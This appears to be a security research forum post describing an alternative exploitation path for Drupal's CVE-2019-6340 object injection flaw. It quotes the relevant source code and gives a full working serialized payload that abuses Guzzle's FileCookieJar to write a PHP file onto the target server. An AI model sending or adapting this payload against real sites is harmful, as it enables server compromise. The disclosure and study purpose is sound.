Another attack vector of CVE-2019-6340

  1. 6 weeks ago

    drupal-core-01-1-.png

    Summary

    In February 2019, Samuel Mortenson from Drupal security team discovered a critical vulnerability in this CMS, identified as CVE-2019-6340 or SA-CORE-2019-003 . This vulnerability is a kind of object injection vulnerability which my colleague mentioned in a previous research.

    According to the original research, this vulnerability enables a remote code execution attack by taking advantage of the existence of module RESTful Web Services and the acceptance of HTTP method GET, PATCH and POST. I have found another way to exploit this vulnerability and will cover the following details.

    The original research

    Let take a look at object injection vulnerability, in order to exploit this flaw, the target have to:

    • own an unserialize function and its input can be controlled by attackers
    • own an magic method (destruct() , wakeup()) which carry out dangerous statements.

    In Drupal version 8, we have such a unserialize function in LinkItem class

        // Treat the values as property value of the main property, if no array is
        // given.
        if (isset($values) && !is_array($values)) {
          $values = [static::mainPropertyName() => $values];
        }
        if (isset($values)) {
          $values += [
            'options' => [],
          ];
        }
        // Unserialize the values.
        // @todo The storage controller should take care of this, see
        //   SqlContentEntityStorage::loadFieldItems, see
        //   https://www.drupal.org/node/2414835
        if (is_string($values['options'])) {
          $values['options'] = unserialize($values['options']);
        }
        parent::setValue($values, $notify);
      }
    
    }

    Luckily, the $values['options'] is a value passed from client via API endpoint so anyone can control it, thanks RESTful Web Services for this feature.

    Regarding the magic method, Samuel Mortenson used a destruct function in Fnstream.php , in which call_user_func can can execute any php function as its input.

        public function __destruct()
        {
            if (isset($this->_fn_close)) {
                call_user_func($this->_fn_close);
            }
        }

    Finally, attackers can build an RCE payload as follows (PHPGGC helped us in this work)

    1.png

    [h]
    Another attack vector[/h]

    Based on the original idea, I tried to find another magic method in Drupal. By grepping, I found that FileCookieJar.php is also a great alternative. Its destruct method is not able to directly execute commands, but can write files and execute commands through those files.

      public function __destruct()
        {
            $this->save($this->filename);
        }
    
        /**
         * Saves the cookies to a file.
         *
         * @param string $filename File to save
         * @throws \RuntimeException if the file cannot be found or created
         */
        public function save($filename)
        {
            $json = [];
            foreach ($this as $cookie) {
                /** @var SetCookie $cookie */
                if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
                    $json[] = $cookie->toArray();
                }
            }
    
            $jsonStr = \GuzzleHttp\json_encode($json);
            if (false === file_put_contents($filename, $jsonStr)) {
                throw new \RuntimeException("Unable to save file {$filename}");
            }
        }
        ```

    This method requires two parameters. The first is a local file and the second is a destination path (we must know the full path).

    My payload is simply create a phpinfo file in the target, it is as follows

    {
      "link": [
        {
          "value": "link",
          "options": "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\u0000GuzzleHttp\\Cookie\\FileCookieJar\u0000filename\";s:42:\"\/Users\/duy\/Desktop\/drupal-8.6.9\/hacked.php\";s:52:\"\u0000GuzzleHttp\\Cookie\\FileCookieJar\u0000storeSessionCookies\";b:1;s:36:\"\u0000GuzzleHttp\\Cookie\\CookieJar\u0000cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\u0000GuzzleHttp\\Cookie\\SetCookie\u0000data\";a:3:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:18:\"<?php phpinfo();?>\";}}}s:39:\"\u0000GuzzleHttp\\Cookie\\CookieJar\u0000strictMode\";N;}"
        }
      ],
      "_links": {
        "type": {
          "href": "http://domain.tld/drupal-8.6.9/rest/type/shortcut/default"
        }
      }
    }

    2.png

    I got the result

    3.png

 

or Sign Up to reply!